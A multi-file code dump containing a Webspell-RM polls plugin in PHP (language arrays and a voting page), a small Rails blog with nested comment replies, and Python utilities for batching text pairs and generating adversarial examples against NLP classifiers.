'new_poll'=>'neue Umfrage',
'no'=>'Nein',
'no_active_poll'=>'keine aktive Umfrage',
'no_entries'=>'keine Umfragen verfügbar',
'on'=>'am',
'option'=>'Option',
'published'=>'Wird angezeigt?',
'placeholder_title'=>'Bitte trage den Titel der Umfrage hier ein...',
'poll_deleted'=>'Umfrage erfolgreich gelöscht.',
'poll_ended'=>'Umfrage erfolgreich beendet.',
'poll_reopened'=>'Umfrage erfolgreich wieder eröffnet.',
'poll_saved'=>'Umfrage erfolgreich gespeichert.',
'poll_updated'=>'Umfrage erfolgreich bearbeitet.',
'polls'=>'Umfragen',
'really_delete'=>'Diese Umfrage wirklich löschen?',
'really_reopen'=>'Diese Umfrage wirklich wiedereröffnen?',
'really_stop'=>'Diese Umfrage wirklich beenden?',
'reopen_poll'=>'Umfrage wiedereröffnen',
'reset_votes'=>'Stimmen zurücksetzen',
'stop_poll' => 'Umfrage beenden',
'stopped_poll'=>'beendete Umfrage',
'success'=>'Erfolg',
'time_left'=>'Restzeit',
'title'=>'Titel',
'description'=>'Beschreibung',
'transaction_invalid'=>'Transaktions ID ungültig',
'votes'=>'Stimmen',
'yes'=>'Ja',
'options'=>'Optionen',
'yht_enter_2_options'=>'Du musst mindestens 2 Optionen eingeben.',
'yht_enter_endingtime'=>'Du musst die Endzeit angeben.',
'yht_enter_title'=>'Du musst einen Titel eingeben.',
);<file_sep><?php
/*¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\
| _ _ ___ ___ ___ ___ ___ __ __ ___ __ __ |
|( \/\/ )( _)( ,)/ __)( ,\( _)( ) ( ) ( ,) ( \/ ) |
| \ / ) _) ) ,\\__ \ ) _/ ) _) )(__ )(__ ) \ ) ( |
| \/\/ (___)(___/(___/(_) (___)(____)(____) (_)\_)(_/\/\_) |
| ___ ___ |
| |__ \ / _ \ |
| ) | | | | | |
| / / | | | | |
| / /_ _ | |_| | |
| |____| (_) \___/ |
\___________________________________________________________________/
/ \
| Copyright 2005-2018 by webspell.org / webspell.info |
| Copyright 2018-2019 by webspell-rm.de |
| |
| - Script runs under the GNU GENERAL PUBLIC LICENCE |
| - It's NOT allowed to remove this copyright-tag |
| - http://www.fsf.org/licensing/licenses/gpl.html |
| |
| Code based on WebSPELL Clanpackage |
| (<NAME> - webspell.at) |
\___________________________________________________________________/
/ \
| WEBSPELL RM Version 2.0 |
| For Support, Mods and the Full Script visit |
| webspell-rm.de |
\__________________________________________________________________*/
$language_array = Array(
/* do not edit above this line */
'access_denied'=>'Access denied',
'actions'=>'Actions',
'add_poll'=>'Add Poll',
'alert'=>'Alert',
'comments'=>'Comments',
'days'=>'Days',
'delete'=>'delete',
'disable_comments'=>'Disable Comments',
'edit'=>'edit',
'edit_poll'=>'Edit Poll',
'enable_user_comments'=>'Enable User Comments',
'enable_visitor_comments'=>'Enable Visitor Comments',
'endingtime'=>'Endingtime',
'intern'=>'Intern',
'new_poll'=>'New Poll',
'no'=>'No',
'no_active_poll'=>'No active Polls available',
'no_entries'=>'No Polls available',
'on'=>'on',
'option'=>'Option',
'published'=>'is displayed?',
'placeholder_title'=>'Please enter poll title here...',
'poll_deleted'=>'Poll successfully deleted.',
'poll_ended'=>'Poll successfully ended.',
'poll_reopened'=>'Poll successfully reopened.',
'poll_saved'=>'Poll successfully saved.',
'poll_updated'=>'Poll successfully updated.',
'polls'=>'Polls',
'really_delete'=>'Really delete this Poll?',
'really_reopen'=>'Really reopen this Poll?',
'really_stop'=>'Really stop this Poll?',
'reopen_poll'=>'Reopen Poll',
'reset_votes'=>'Reset Votes',
'stop_poll' => 'End Poll',
'stopped_poll'=>'Stopped Poll',
'success'=>'Success',
'time_left'=>'Time Left',
'title'=>'Titel',
'transaction_invalid'=>'Transaction ID invalid',
'votes'=>'Votes',
'yes'=>'Yes',
'options'=>'Options',
'yht_enter_2_options'=>'You have to enter at least 2 options.',
'yht_enter_endingtime'=>'You have to enter the endingtime.',
'yht_enter_title'=>'You have to enter a title.',
);<file_sep><?php
/*¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\
| _ _ ___ ___ ___ ___ ___ __ __ ___ __ __ |
|( \/\/ )( _)( ,)/ __)( ,\( _)( ) ( ) ( ,) ( \/ ) |
| \ / ) _) ) ,\\__ \ ) _/ ) _) )(__ )(__ ) \ ) ( |
| \/\/ (___)(___/(___/(_) (___)(____)(____) (_)\_)(_/\/\_) |
| ___ ___ |
| |__ \ / _ \ |
| ) | | | | | |
| / / | | | | |
| / /_ _ | |_| | |
| |____| (_) \___/ |
\___________________________________________________________________/
/ \
| Copyright 2005-2018 by webspell.org / webspell.info |
| Copyright 2018-2019 by webspell-rm.de |
| |
| - Script runs under the GNU GENERAL PUBLIC LICENCE |
| - It's NOT allowed to remove this copyright-tag |
| - http://www.fsf.org/licensing/licenses/gpl.html |
| |
| Code based on WebSPELL Clanpackage |
| (<NAME> - webspell.at) |
\___________________________________________________________________/
/ \
| WEBSPELL RM Version 2.0 |
| For Support, Mods and the Full Script visit |
| webspell-rm.de |
\__________________________________________________________________*/
$language_array = array(
/* do not edit above this line */
'already_voted' => 'You have already voted.',
'comments' => 'comments',
'days' => 'days',
'delete' => 'delete',
'disable_comments' => 'disable comments',
'edit' => 'edit',
'edit_poll' => 'edit poll',
'enable_user_comments' => 'enable user comments',
'enable_visitor_comments' => 'enable visitor comments',
'endingtime' => 'Ending time',
'intern' => 'Intern',
'latest_by' => 'latest by',
'new_poll' => 'new poll',
'no_access' => 'no access!',
'no_active_poll' => 'no active poll',
'no_entries' => 'no entries!',
'on' => 'on',
'option' => 'Option',
'poll_ended' => 'poll already ended',
'poll_end' => 'Poll runs until',
'polls' => 'polls',
'really_delete' => 'really delete this poll?',
'really_reopen' => 'really reopen this poll?',
'really_stop' => 'really stop this poll?',
'reopen_poll' => 'reopen poll',
'reset_votes' => 'reset votes',
'save_poll' => 'save poll',
'show_polls' => 'show polls',
'stop_poll' => 'stop poll',
'stopped_poll' => 'stopped Poll',
'time_left' => 'time left',
'title' => 'Title',
'update_poll' => 'update poll',
'vote' => 'vote',
'vote_now' => 'vote now',
'votes' => 'votes',
'yht_enter_2_options' => 'You have to enter at least 2 options!',
'yht_enter_endingtime' => 'You have to enter the endingtime!',
'yht_enter_title' => 'You have to enter a title!'
);
<file_sep><?php
/*
##########################################################################
# #
# Version 4 / / / #
# -----------__---/__---__------__----__---/---/- #
# | /| / /___) / ) (_ ` / ) /___) / / #
# _|/_|/__(___ _(___/_(__)___/___/_(___ _/___/___ #
# Free Content / Management System #
# / #
# #
# #
# Copyright 2005-2015 by webspell.org #
# #
# visit webSPELL.org, webspell.info to get webSPELL for free #
# - Script runs under the GNU GENERAL PUBLIC LICENSE #
# - It's NOT allowed to remove this copyright-tag #
# -- http://www.fsf.org/licensing/licenses/gpl.html #
# #
# Code based on WebSPELL Clanpackage (<NAME> - webspell.at), #
# Far Development by Development Team - webspell.org #
# #
# visit webspell.org #
# #
##########################################################################
*/
# Sprachdateien aus dem Plugin-Ordner laden
$pm = new plugin_manager();
$plugin_language = $pm->plugin_language("polls", $plugin_path);
if (isset($_GET[ 'action' ])) {
$action = $_GET[ 'action' ];
} else {
$action = "";
}
if ($action == "vote") {
if (isset($_POST[ 'pollID' ]) && isset($_POST[ 'vote' ])) {
$pollID = (int)$_POST[ 'pollID' ];
$vote = (int)$_POST[ 'vote' ];
$_language->readModule('polls');
$ds = mysqli_fetch_array(
safe_query(
"SELECT
`userIDs`,
`hosts`
FROM
`" . PREFIX . "plugins_poll`
WHERE
`pollID` = '" . (int)$pollID."'"
)
);
$anz = mysqli_num_rows(
safe_query(
"SELECT
`pollID`
FROM
`" . PREFIX . "plugins_poll`
WHERE
pollID = '" . $pollID . "' AND
hosts LIKE '%" . $_SERVER[ 'REMOTE_ADDR' ] . "%' AND
intern<=" . (int)isclanmember($userID)
)
);
$anz_user = false;
if ($userID) {
if ($ds[ 'userIDs' ]) {
$user_ids = explode(";", $ds[ 'userIDs' ]);
if (in_array($userID, $user_ids)) {
$anz_user = true;
}
} else {
$user_ids = array();
}
}
$cookie = false;
if (isset($_COOKIE[ 'poll' ]) && is_array($_COOKIE[ 'poll' ])) {
$cookie = in_array($pollID, $_COOKIE[ 'poll' ]);
}
if (!$cookie && !$anz && !$anz_user && isset($_POST[ 'vote' ])) {
//write cookie
$index = count($_COOKIE[ 'poll' ]);
setcookie("poll[" . $index . "]", $pollID, time() + (3600 * 24 * 365));
//write ip and userID if logged
$add_query = "";
if ($userID) {
$user_ids[ ] = $userID;
$add_query = ", userIDs='" . implode(";", $user_ids) . "'";
}
safe_query(
"UPDATE
" . PREFIX . "plugins_poll
SET
hosts='" . $ds[ 'hosts' ] . "#" . $_SERVER[ 'REMOTE_ADDR' ] . "#'" . $add_query . "
WHERE
pollID='" . (int)$pollID."'"
);
//write vote
safe_query(
"UPDATE
" . PREFIX . "plugins_poll_votes
SET
o" . $vote . " = o" . $vote . "+1
WHERE
pollID='" . (int)$pollID."'"
);
}
header('Location: index.php?site=polls');
} else {
header('Location: index.php?site=polls');
}
}elseif (isset($_GET[ 'pollID' ])) {
$data_array = array();
$data_array['$title']=$plugin_language['polls'];
$template = $GLOBALS["_template"]->loadTemplate("polls","title", $data_array, $plugin_path);
echo $template;
$pollID = intval($_GET[ 'pollID' ]);
$ergebnis =
safe_query("SELECT * FROM " . PREFIX . "plugins_poll WHERE pollID='$pollID' AND intern<=" . (int)isclanmember($userID));
$ds = mysqli_fetch_array($ergebnis);
$title = $ds[ 'titel' ];
if ($ds[ 'intern' ] == 1) {
$isintern = '(' . $plugin_language[ 'intern' ] . ')';
} else {
$isintern = '';
}
if ($ds[ 'laufzeit' ] < time() || $ds[ 'aktiv' ] == "0") {
$timeleft = $plugin_language[ 'poll_ended' ];
$active = '';
} else {
$timeleft =
floor(($ds[ 'laufzeit' ] - time()) / (60 * 60 * 24)) . " " . $plugin_language[ 'days' ] . " (" .
date("d.m.Y H:i", $ds[ 'laufzeit' ]) . ")<br>
<a href='index.php?site=polls&vote=" . $ds[ 'pollID' ] . "' class='btn btn-primary'>" .
$plugin_language[ 'vote_now' ] . "</a>";
$active = 'active';
}
$options = array();
for ($n = 1; $n <= 10; $n++) {
if ($ds[ 'o' . $n ]) {
$options[ ] = $ds[ 'o' . $n ];
}
}
$votes = safe_query("SELECT * FROM " . PREFIX . "plugins_poll_votes WHERE pollID='" . $pollID . "'");
$dv = mysqli_fetch_array($votes);
$gesamtstimmen =
$dv[ 'o1' ] + $dv[ 'o2' ] + $dv[ 'o3' ] + $dv[ 'o4' ] + $dv[ 'o5' ] + $dv[ 'o6' ] + $dv[ 'o7' ] + $dv[ 'o8' ] +
$dv[ 'o9' ] + $dv[ 'o10' ];
$n = 1;
$data_array = array();
$data_array['$title'] = $title;
$data_array['$isintern'] = $isintern;
$data_array['$gesamtstimmen'] = $gesamtstimmen;
$data_array['$timeleft'] = $timeleft;
$data_array['$votes']=$plugin_language['votes'];
$data_array['$time_left']=$plugin_language['time_left'];
$template = $GLOBALS["_template"]->loadTemplate("polls","head", $data_array, $plugin_path);
echo $template;
#$comments = "";
foreach ($options as $option) {
$stimmen = $dv[ 'o' . $n ];
if ($gesamtstimmen) {
$perc = $stimmen / $gesamtstimmen * 10000;
settype($perc, "integer");
$perc = $perc / 100;
} else {
$perc = 0;
}
$picwidth = $perc;
settype($picwidth, "integer");
if ($picwidth) {
$pic = '<div class="progress">
<div
class="progress-bar"
role="progressbar"
aria-valuenow="' . $picwidth . '"
aria-valuemin="0"
aria-valuemax="100"
style="width: ' . $picwidth . '%"
>
' . $picwidth . ' %
</div>
</div>';
} else {
$pic = '<div class="progress">
<div
class="progress-bar"
role="progressbar"
aria-valuenow="0"
aria-valuemin="0"
aria-valuemax="100"
style="width: 0"
>
0 %
</div>
</div>';
}
$data_array = array();
$data_array['$option'] = $option;
$data_array['$perc'] = $perc;
$data_array['$stimmen'] = $stimmen;
$data_array['$votes']=$plugin_language['votes'];
$template = $GLOBALS["_template"]->loadTemplate("polls","content", $data_array, $plugin_path);
echo $template;
$n++;
}
$data_array = array();
$template = $GLOBALS["_template"]->loadTemplate("polls","foot", $data_array, $plugin_path);
echo $template;
$comments_allowed = $ds[ 'comments' ];
$parentID = $pollID;
$type = "po";
$referer = "index.php?site=polls&pollID=" . $pollID;
#include("comments.php");
} elseif (isset($_GET[ 'vote' ])) {
$poll = intval($_GET[ 'vote' ]);
$lastpoll = safe_query(
"SELECT
*
FROM
" . PREFIX . "plugins_poll
WHERE
aktiv='1' AND
laufzeit>" . time() . " AND
intern<=" . (int)isclanmember($userID) . " AND
pollID='" . $poll . "'
LIMIT 0,1"
);
$anz = mysqli_num_rows($lastpoll);
$ds = mysqli_fetch_array($lastpoll);
if ($anz) {
$anz = mysqli_num_rows(
safe_query(
"SELECT
pollID
FROM
`" . PREFIX . "plugins_poll`
WHERE
pollID='" . $ds[ 'pollID' ] . "' AND
hosts
LIKE
'%" . $_SERVER[ 'REMOTE_ADDR' ] . "%' AND
intern<=" . (int)isclanmember($userID)
)
);
$anz_user = false;
if ($userID) {
$user_ids = explode(";", $ds[ 'userIDs' ]);
if (in_array($userID, $user_ids)) {
$anz_user = true;
}
}
$cookie = false;
if (isset($_COOKIE[ 'poll' ]) && is_array($_COOKIE[ 'poll' ])) {
$cookie = in_array($ds[ 'pollID' ], $_COOKIE[ 'poll' ]);
}
if ($cookie || $anz || $anz_user) {
redirect('index.php?site=polls&pollID=' . $ds[ 'pollID' ], $plugin_language[ 'already_voted' ], 3);
} else {
$data_array = array();
$data_array['$title']=$plugin_language['polls'];
$template = $GLOBALS["_template"]->loadTemplate("polls","title", $data_array, $plugin_path);
echo $template;
echo '<div class="card">
<div class="card-body">
<form method="post" action="index.php?site=polls&action=vote">
<div>
<h4>' . $ds[ 'titel' ] . '</h4>
</div>';
$options = array();
for ($n = 1; $n <= 10; $n++) {
if ($ds[ 'o' . $n ]) {
$options[ ] = $ds[ 'o' . $n ];
}
}
$n = 1;
foreach ($options as $option) {
echo '<li class="list-group-item">
<div class="radio">
<label>
<input type="radio" name="vote" value="' . $n . '">
' . $option . '
</label>
</div>
</li>';
$n++;
}
echo '<input type="hidden" name="pollID" value="' . $ds[ 'pollID' ] . '">
<input class="btn btn-primary" style="margin-top:15px" type="submit" value="' . $plugin_language[ 'vote' ] . '"></td>
<a class="btn btn-primary" style="margin-top:15px" href="index.php?site=polls">' . $plugin_language[ 'show_polls' ] . '</a>
</form>
</div></div>';
}
} else {
redirect('index.php?site=polls&pollID=' . $ds[ 'pollID' ], $plugin_language[ 'poll_ended' ], 3);
}
} else {
$data_array = array();
$data_array['$title']=$plugin_language['polls'];
$template = $GLOBALS["_template"]->loadTemplate("polls","title", $data_array, $plugin_path);
echo $template;
$CAPCLASS = new \webspell\Captcha;
$CAPCLASS->createTransaction();
$hash = $CAPCLASS->getHash();
$ergebnis =
safe_query(
"SELECT
*
FROM
" . PREFIX . "plugins_poll
WHERE
intern<=" . (int)isclanmember($userID) . "
AND published = '1'
ORDER BY
pollID DESC"
);
$anz = mysqli_num_rows($ergebnis);
if ($anz) {
$data_array = array();
$data_array['$endingtime']=$plugin_language['endingtime'];
$data_array['$title']=$plugin_language['title'];
$data_array['$votes']=$plugin_language['votes'];
$template = $GLOBALS["_template"]->loadTemplate("polls","all_head", $data_array, $plugin_path);
echo $template;
$i = 1;
while ($ds = mysqli_fetch_array($ergebnis)) {
$laufzeit = getformatdatetime($ds[ 'laufzeit' ]);
if ($ds[ 'intern' ] == 1) {
$isintern = '(' . $plugin_language[ 'intern' ] . ')';
} else {
$isintern = '';
}
if ($ds[ 'laufzeit' ] < time() || $ds[ 'aktiv' ] == "0") {
$timeleft = '<div class="alert alert-danger" role="alert">'.$plugin_language['poll_ended'].'</div>';
$active = '';
} else {
$timeleft = '<div class="alert alert-success" role="alert">'.$plugin_language['poll_end'].'<br>'.$laufzeit.'</div>';
floor(($ds[ 'laufzeit' ] - time()) / (60 * 60 * 24)) . " " . $plugin_language[ 'days' ] . " (" .
date("d.m.Y H:i", $ds[ 'laufzeit' ]) . ")<br>
<a href='index.php?site=polls&vote=" . $ds[ 'pollID' ] . "' class='btn btn-primary'>" .
$plugin_language[ 'vote_now' ] . "</a></div>";
$active = 'active';
}
$options = array();
for ($n = 1; $n <= 10; $n++) {
if ($ds[ 'o' . $n ]) {
$options[ ] = $ds[ 'o' . $n ];
}
}
$votes = safe_query("SELECT * FROM " . PREFIX . "plugins_poll_votes WHERE pollID='" . $ds[ 'pollID' ] . "'");
$dv = mysqli_fetch_array($votes);
$gesamtstimmen = $dv[ 'o1' ] + $dv[ 'o2' ] + $dv[ 'o3' ] + $dv[ 'o4' ] + $dv[ 'o5' ] + $dv[ 'o6' ] + $dv[ 'o7' ] + $dv[ 'o8' ] + $dv[ 'o9' ] + $dv[ 'o10' ];
if ($ds[ 'aktiv' ]) {
$actions = '<div class="alert alert-success" role="alert">'.$plugin_language['poll_end'].'<br>'.$laufzeit.'</div>';
} else {
$actions = '<div class="alert alert-danger" role="alert">'.$plugin_language['poll_ended'].'</div>';
}
$pollID = $ds[ 'pollID' ];
$title = $ds[ 'titel' ];
$description = $ds[ 'description' ];
$data_array = array();
$data_array[ '$actions' ] = $actions;
$data_array['$timeleft'] = $timeleft;
$data_array[ '$laufzeit' ] = $laufzeit;
$data_array[ '$isintern' ] = $isintern;
$data_array[ '$gesamtstimmen' ] = $gesamtstimmen;
$data_array[ '$pollID' ] = $pollID;
$data_array[ '$title' ] = $title;
$data_array[ '$description' ] = $description;
$template = $GLOBALS["_template"]->loadTemplate("polls","all_content", $data_array, $plugin_path);
echo $template;
$i++;
}
$template = $GLOBALS["_template"]->loadTemplate("polls","all_foot", $data_array, $plugin_path);
echo $template;
} else {
$data_array = array();
$data_array['$no_entries']=$plugin_language['no_entries'];
$template = $GLOBALS["_template"]->loadTemplate("polls","all_content-no", $data_array, $plugin_path);
echo $template;
}
#=============================================
/*} else {
$ergebnis =
safe_query(
"SELECT
*
FROM
" . PREFIX . "plugins_poll
WHERE
intern<=" . (int)isclanmember($userID) . "
ORDER BY
pollID DESC"
);
$anz = mysqli_num_rows($ergebnis);
if ($anz) {
$i = 1;
while ($ds = mysqli_fetch_array($ergebnis)) {
$title = $ds[ 'titel' ];
if ($ds[ 'intern' ] == 1) {
$isintern = '(' . $plugin_language[ 'intern' ] . ')';
} else {
$isintern = '';
}
if ($ds[ 'laufzeit' ] < time() || $ds[ 'aktiv' ] == "0") {
$timeleft = $plugin_language[ 'poll_ended' ];
$active = '';
} else {
$timeleft =
floor(($ds[ 'laufzeit' ] - time()) / (60 * 60 * 24)) . " " . $plugin_language[ 'days' ] . " (" .
date("d.m.Y H:i", $ds[ 'laufzeit' ]) . ")<br>
<a href='index.php?site=polls&vote=" . $ds[ 'pollID' ] . "' class='btn btn-primary'>" .
$plugin_language[ 'vote_now' ] . "</a>";
$active = 'active';
}
$options = array();
for ($n = 1; $n <= 10; $n++) {
if ($ds[ 'o' . $n ]) {
$options[ ] = clearfromtags($ds[ 'o' . $n ]);
}
}
$votes = safe_query("SELECT * FROM " . PREFIX . "plugins_poll_votes WHERE pollID='" . $ds[ 'pollID' ] . "'");
$dv = mysqli_fetch_array($votes);
$gesamtstimmen =
$dv[ 'o1' ] + $dv[ 'o2' ] + $dv[ 'o3' ] + $dv[ 'o4' ] + $dv[ 'o5' ] + $dv[ 'o6' ] + $dv[ 'o7' ] +
$dv[ 'o8' ] + $dv[ 'o9' ] + $dv[ 'o10' ];
$n = 1;
$data_array = array();
$data_array['$title'] = $title;
$data_array['$isintern'] = $isintern;
$data_array['$gesamtstimmen'] = $gesamtstimmen;
$data_array['$timeleft'] = $timeleft;
$data_array['$votes']=$plugin_language['votes'];
$data_array['$time_left']=$plugin_language['time_left'];
$template = $GLOBALS["_template"]->loadTemplate("polls","head", $data_array, $plugin_path);
echo $template;
foreach ($options as $option) {
$stimmen = $dv[ 'o' . $n ];
if ($gesamtstimmen) {
$perc = $stimmen / $gesamtstimmen * 10000;
settype($perc, "integer");
$perc = $perc / 100;
} else {
$perc = 0;
}
$picwidth = $perc;
settype($picwidth, "integer");
$anzcomments = getanzcomments($ds[ 'pollID' ], 'po');
if ($anzcomments) {
$comments = '<a href="index.php?site=polls&pollID=' . $ds[ 'pollID' ] . '"
class="btn btn-primary">
' . $anzcomments . ' ' . $plugin_language[ 'comments' ] . '
</a> ' . $plugin_language[ 'latest_by' ] . ' ' . getlastcommentposter($ds[ 'pollID' ], 'po') .
' - ' . date("d.m.Y - H:i", getlastcommentdate($ds[ 'pollID' ], 'po'));
} else {
$comments = '<a href="index.php?site=polls&pollID=' . $ds[ 'pollID' ] . '"
class="btn btn-primary">
0 ' . $plugin_language[ 'comments' ] . '
</a>';
}
$data_array = array();
$data_array['$option'] = $option;
$data_array['$perc'] = $perc;
$data_array['$stimmen'] = $stimmen;
$data_array['$votes']=$plugin_language['votes'];
$template = $GLOBALS["_template"]->loadTemplate("polls","content", $data_array, $plugin_path);
echo $template;
$n++;
}
$data_array = array();
$template = $GLOBALS["_template"]->loadTemplate("polls","foot", $data_array, $plugin_path);
echo $template;
$i++;
unset($options);
}
} else {
echo $plugin_language[ 'no_entries' ];
}
*/
}
| 4bb695ddc2d43fd0175945453c9d6518c67491c9 | [
"PHP"
] | 7 | PHP | Webspell-RM/plugins_polls | a701477f5022d7de012b8ff1ea8f767195c263f3 | ac582ea8a0abf158dab748fde61c7499f384d06a |
refs/heads/master | <file_sep>class CommentsController < ApplicationController
respond_to :json, :js, :html
def create
@article = Article.find(params[:id])
@comment = @article.comments.create(text: params[:comment])
end
end<file_sep>class Reply < ApplicationRecord
belongs_to :comment
has_many :reply_comments, dependent: :destroy
end
<file_sep>$(document).ready(function(){
$('.article-comment').keydown(function(event){
var keyCode = (event.keyCode ? event.keyCode : event.which);
if (keyCode == 13) {
$.ajax({
url: '/comments',
method: 'POST',
data: {id: this.id, comment: this.value}
});
$(this).val("");
}
});
$(".comment_reply_link").click(function(){
comment_id = $(this).attr('data-commentid');
id = $("#comment_reply_"+comment_id)
if(id.css('display') == "none") { $("#comment_reply_"+comment_id).css('display', 'block') }
else{ $("#comment_reply_"+comment_id).css('display', 'none') }
});
$('.comment-reply').keydown(function(event){
var keyCode = (event.keyCode ? event.keyCode : event.which);
if (keyCode == 13) {
$.ajax({
url: '/replies',
method: 'POST',
data: {id: this.id, comment: this.value}
});
$(this).val("");
}
});
$(".reply_comment_link").click(function(){
reply_id = $(this).attr('data-replyid');
id = $("#reply_comment_"+reply_id)
if(id.css('display') == "none") { $("#reply_comment_"+reply_id).css('display', 'block') }
else{ $("#reply_comment_"+reply_id).css('display', 'none') }
});
$('.reply-comment').keydown(function(event){
var keyCode = (event.keyCode ? event.keyCode : event.which);
if (keyCode == 13) {
$.ajax({
url: '/reply_comments',
method: 'POST',
data: {id: this.id, comment: this.value}
});
$(this).val("");
}
});
});<file_sep>class RepliesController < ApplicationController
respond_to :json, :js, :html
def create
@comment = Comment.find(params[:id])
@replies = @comment.replies.create(text: params[:comment])
end
end<file_sep>Rails.application.routes.draw do
devise_for :users
devise_scope :user do
authenticated :user do
root 'articles#index', as: :authenticated_root
end
unauthenticated do
root 'devise/sessions#new', as: :unauthenticated_root
end
end
resources :articles
resources :comments, only: %(create)
resources :replies, only: %(create)
resources :reply_comments, only: %(create) do
collection do
get :load_more
end
end
end
<file_sep>class ReplyComment < ApplicationRecord
belongs_to :reply
end
<file_sep>class ReplyCommentsController < ApplicationController
respond_to :json, :js, :html
def create
@reply = Reply.find(params[:id])
@reply_comments = @reply.reply_comments.create(text: params[:comment])
end
def load_more
@comments = if params[:type] == "Replies"
comment = Comment.find(params[:id])
comment.replies
elsif params[:type] == "Reply Comment"
reply = Reply.find(params[:id])
reply.reply_comments
end
end
end<file_sep>class Comment < ApplicationRecord
belongs_to :article
has_many :replies, dependent: :destroy
end
| f784f37856c045bcddf56195eb466802dbbd18a9 | [
"JavaScript",
"Ruby"
] | 8 | Ruby | mylara62/Westagilelabs-demo-blog | 07cf19c9e4535dc03cf8e0f03a65eceaed918553 | 02c3cfad899b9258f3dbb0d1ef2e204eb0c42763 |
refs/heads/master | <file_sep>import numpy as np
import re
def make_batches(size, batch_size):
nb_batch = int(np.ceil(size/float(batch_size)))
return [(i*batch_size, min(size, (i+1)*batch_size)) for i in range(0, nb_batch)] # zgwang: starting point of each batch
def pad_2d_vals(in_vals, dim1_size, dim2_size, dtype=np.int32):
out_val = np.zeros((dim1_size, dim2_size), dtype=dtype)
if dim1_size > len(in_vals): dim1_size = len(in_vals)
for i in range(dim1_size):
cur_in_vals = in_vals[i]
cur_dim2_size = dim2_size
if cur_dim2_size > len(cur_in_vals): cur_dim2_size = len(cur_in_vals)
out_val[i,:cur_dim2_size] = cur_in_vals[:cur_dim2_size]
return out_val
def pad_3d_vals(in_vals, dim1_size, dim2_size, dim3_size, dtype=np.int32):
out_val = np.zeros((dim1_size, dim2_size, dim3_size), dtype=dtype)
if dim1_size > len(in_vals): dim1_size = len(in_vals)
for i in range(dim1_size):
in_vals_i = in_vals[i]
cur_dim2_size = dim2_size
if cur_dim2_size > len(in_vals_i): cur_dim2_size = len(in_vals_i)
for j in range(cur_dim2_size):
in_vals_ij = in_vals_i[j]
cur_dim3_size = dim3_size
if cur_dim3_size > len(in_vals_ij): cur_dim3_size = len(in_vals_ij)
out_val[i, j, :cur_dim3_size] = in_vals_ij[:cur_dim3_size]
return out_val
class Batch:
def __init__(self, batch, label=None):
if label is not None:
_batch = batch
batch = []
for sample in _batch:
if sample["label"] == label:
batch.append(sample)
self.batch_size = len(batch)
self.a_len = 0
self.b_len = 0
self.a_lengths = [] # tf.placeholder(tf.int32, [None])
self.in_a_words = [] # tf.placeholder(tf.int32, [None, None]) # [batch_size, a_len]
self.b_lengths = [] # tf.placeholder(tf.int32, [None])
self.in_b_words = [] # tf.placeholder(tf.int32, [None, None]) # [batch_size, b_len]
self.label = [] # [batch_size]
self.in_a_chars = [] # tf.placeholder(tf.int32, [None, None, None]) # [batch_size, a_len, q_char_len]
self.a_char_lengths = [] # tf.placeholder(tf.int32, [None, None]) # [batch_size, a_len]
self.in_b_chars = [] # tf.placeholder(tf.int32, [None, None, None]) # [batch_size, b_len, p_char_len]
self.b_char_lengths = [] # tf.placeholder(tf.int32, [None, None]) # [batch_size, b_len]
for sample in batch:
cur_a_length = len(sample["word_idx_a"])
cur_b_length = len(sample["word_idx_b"])
if self.a_len < cur_a_length: self.a_len = cur_a_length
if self.b_len < cur_b_length: self.b_len = cur_b_length
self.a_lengths.append(cur_a_length)
self.in_a_words.append(sample["word_idx_a"])
self.b_lengths.append(cur_b_length)
self.in_b_words.append(sample["word_idx_b"])
self.label.append(sample["label"])
self.in_a_chars.append(sample["char_idx_a"])
self.in_b_chars.append(sample["char_idx_b"])
self.a_char_lengths.append([len(cur_char_idx) for cur_char_idx in sample["char_idx_a"]])
self.b_char_lengths.append([len(cur_char_idx) for cur_char_idx in sample["char_idx_b"]])
# padding all value into np arrays
self.a_lengths = np.array(self.a_lengths, dtype=np.int32)
self.in_a_words = pad_2d_vals(self.in_a_words, self.batch_size, self.a_len, dtype=np.int32)
self.b_lengths = np.array(self.b_lengths, dtype=np.int32)
self.in_b_words = pad_2d_vals(self.in_b_words, self.batch_size, self.b_len, dtype=np.int32)
self.label = np.array(self.label, dtype=np.int32)
max_char_length1 = np.max([np.max(aa) for aa in self.a_char_lengths])
self.in_a_chars = pad_3d_vals(self.in_a_chars, self.batch_size, self.a_len,
max_char_length1, dtype=np.int32)
max_char_length2 = np.max([np.max(aa) for aa in self.b_char_lengths])
self.in_b_chars = pad_3d_vals(self.in_b_chars, self.batch_size, self.b_len,
max_char_length2, dtype=np.int32)
self.a_char_lengths = pad_2d_vals(self.a_char_lengths, self.batch_size, self.a_len)
self.b_char_lengths = pad_2d_vals(self.b_char_lengths, self.batch_size, self.b_len)<file_sep>import nltk, random, time, json
import numpy as np
import torch
from utils import symbol2index, get_batches
from scipy.special import softmax
from multiprocessing import Pool
from LM import LM
class Generator:
def __init__(self, args, target, vocab_char, vocab_word, data_train):
self.args = args
self.cpus = args.cpus
self.vocab_char = vocab_char
self.vocab_word = vocab_word
self.data = data
self.target = target
self.task = args.task
self.advgen_batch_size = args.advgen_batch_size
self.max_num_steps = args.max_num_steps
self.max_num_candidates = args.max_num_candidates
self.max_sent_length_diff = args.max_sent_length_diff
self.lm_batch_size = args.lm_batch_size
self.batch_size = args.batch_size
self.adv_file = args.adv_file
self.lm_gram = args.lm_gram
self.lm_candidates = args.lm_candidates
self.beam_size = args.beam_size
self.first_attack = args.first_attack
self.query_batch_size = args.query_batch_size
self.sample_only = args.sample_only
self.max_num_candidates = self.lm_candidates
self.PAD = '[PAD]'
self.lm = LM(args)
self.vocab_word.build_stopwords()
def _evaluate(self, data, verbose, label):
num = len(data)
cnt = 0
start_time = time.time()
adv = []
for t, (sent_a, sent_b) in enumerate(data):
res = self.query(sent_a, sent_b, label)
if verbose:
print('#%d/%d (%.4fs/example)' % (
t + 1, num, (time.time() - start_time) * 1. / (t + 1)))
if res is not None:
cnt += 1
if verbose:
print(' OK')
print(' ', ' '.join(sent_a))
print(' ', ' '.join(sent_b))
print(' ', ' '.join(res['sent_a']))
